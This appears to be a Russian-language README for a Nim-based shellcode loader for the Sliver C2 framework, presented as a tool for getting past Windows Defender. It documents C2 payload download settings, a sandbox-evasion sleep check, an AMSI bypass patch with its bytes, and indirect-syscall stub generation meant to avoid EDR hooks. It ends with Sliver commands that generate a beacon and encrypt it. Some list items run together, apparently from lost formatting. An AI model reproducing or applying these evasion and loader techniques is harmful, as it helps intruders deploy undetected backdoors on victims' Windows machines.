
Инструмент шифрования на основе Nim для обфускации шелл-кода и полезных нагрузок с целью обхода Windows Defender.
Загрузчик шеллкода для Sliver, написанный на Nim, предназначенный для Windows x64. Два варианта, покрывающие два наиболее распространенных сценария доставки. Протестирован против Защитника Windows (Windows Defender) с включенной защитой в реальном времени.
Считывает зашифрованный бинарник шеллкода с диска, расшифровывает его в памяти и внедряет в себя. Используйте этот вариант, если у вас уже есть возможность сбросить файл и нужен небольшой простой бинарник.
loader.exe <shellcode.bin> [key_hex iv_hex]
Ключ и IV необязательны. Если они опущены, файл обрабатывается как нешифрованный шеллкод.
Загружает зашифрованный бинарник с вашего C2 через HTTP, используя стек WinHTTP от Windows, расшифровывает его в памяти и внедряет в себя. Файл никогда не касается диска. Используйте этот вариант, когда вы можете запустить бинарник на целевой машине, но не можете надежно сбросить второй файл.
Отредактируйте константы в начале stageless/loader.nim перед компиляцией:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 шестнадцатеричных символа из encrypt.py
scIV = "..." # 32 шестнадцатеричных символа из encrypt.py
Загрузчик stageless вызывает Sleep(5000) при запуске и измеряет фактическое прошедшее время с помощью GetTickCount64. Если прошло менее 4500 мс, процесс завершается. Большинство автоматизированных сред песочниц ускоряют или пропускают ожидания, из-за чего проверка не проходит. Это происходит до любых сетевых операций или выполнения шеллкода, поэтому песочницы, анализирующие сетевое поведение, ничего не увидят.
amsi.nim патчит AmsiScanBuffer во время выполнения, используя два уровня обфускации:
Скрытие строк с помощью хеширования FNV-1a. Строка AmsiScanBuffer никогда не появляется в бинарнике. Вместо этого её хеш FNV-1a вычисляется на этапе компиляции и сохраняется как константа. Во время выполнения загрузчик проходит по таблице экспорта amsi.dll, хеширует каждое имя экспорта и сравнивает с сохранённым значением, чтобы найти адрес функции, не храня строку в памяти.
Обфускация XOR на этапе компиляции. Имя DLL (amsi.dll) и байты патча (xor eax, eax; ret = 31 C0 C3) кодируются XOR на этапе компиляции со случайным ключом, генерируемым заново при каждой сборке через подпроцесс Python. Ключ встраивается как константа, а байты декодируются во время выполнения непосредственно перед использованием. Сырые байты меняются при каждой сборке, нарушая статические сигнатуры на последовательность патча.
Патч перезаписывает первые три байта AmsiScanBuffer на xor eax, eax; ret, заставляя каждый вызов возвращать AMSI_RESULT_CLEAN независимо от входных данных.
encrypt.py шифрует сырой шеллкод с помощью AES-256-CBC, используя случайно сгенерированный 32-байтовый ключ и 16-байтовый IV. Загрузчик расшифровывает на месте, используя Windows BCrypt API, поэтому на целевой машине не требуется сторонняя криптографическая библиотека.
Память выделяется как PAGE_READWRITE, в неё записывается шеллкод, а затем область переключается в PAGE_EXECUTE_READ перед выполнением. Выделение сразу как PAGE_EXECUTE_READWRITE является известной сигнатурой, которую Defender и EDR явно помечают. Разделение фаз записи и выполнения позволяет избежать этого шаблона.
stageless/syscalls.nim обходит как слой Win32 API (kernel32.dll), так и любые хуки userland в ntdll.dll, установленные EDR.
Определение SSN. При запуске загрузчик получает базовый адрес ntdll и анализирует её таблицу экспорта PE, собирая каждый экспорт Nt*, отсортированный по RVA. Для каждой необходимой NT-функции проверяются первые четыре байта:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) означает, что заглушка чиста, и SSN считывается непосредственно из байтов 4-5. Это Hell's Gate.neighbor_SSN +/- distance. SSN увеличиваются на единицу на каждую заглушку в порядке адресов. Это Halo's Gate.Поиск гаджета. Загрузчик сканирует первую найденную чистую заглушку Nt* на предмет последовательности байт 0F 05 C3 (syscall; ret). Это даёт адрес внутри раздела .text, поддерживаемого образом ntdll, который можно повторно использовать.
Генерация заглушек. Для каждой требуемой функции 22-байтовая заглушка записывается на одну RW-страницу, которая перед использованием переключается в RX:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx адрес гаджета
jmp [rip+0] разыменовывает 8 байт, следующие сразу за ним (адрес гаджета), и перенаправляет выполнение на существующую последовательность syscall; ret внутри ntdll. Инструкция syscall выполняется из раздела .text ntdll, а не из нашей анонимной области, что обходит отслеживание на уровне ядра, откуда был сделан системный вызов.
Четыре функции, реализованные через непрямые системные вызовы: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx и NtWaitForSingleObject.
После расшифровки загрузчик stageless выделяет RW-область в своём собственном процессе через NtAllocateVirtualMemory, копирует шеллкод с помощью copyMem, переключает область в RX через NtProtectVirtualMemory и запускает поток через NtCreateThreadEx. Главный поток затем бесконечно блокируется на NtWaitForSingleObject, удерживая процесс живым, пока работают горутины бэкдора. Все четыре вызова проходят через описанные выше заглушки непрямых системных вызовов.
Самостоятельное внедрение минимизирует поверхность вызовов. Здесь нет межпроцессных API-вызовов (WriteProcessMemory, CreateRemoteThread и т.д.), которые являются основными векторами обнаружения для классического удалённого внедрения.
AmsiScanBuffer через FNV-1a, перезаписать на xor eax, eax; retsyscall; ret, записать заглушкиNtAllocateVirtualMemory в собственном процессе (RW) через непрямой системный вызовNtProtectVirtualMemory в PAGE_EXECUTE_READ через непрямой системный вызовNtCreateThreadEx через непрямой системный вызовNtWaitForSingleObject на дескрипторе потока через непрямой системный вызовVirtualAlloc (RW), копирование шеллкода, VirtualProtect в RXНа вашей сборочной Linux-машине:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761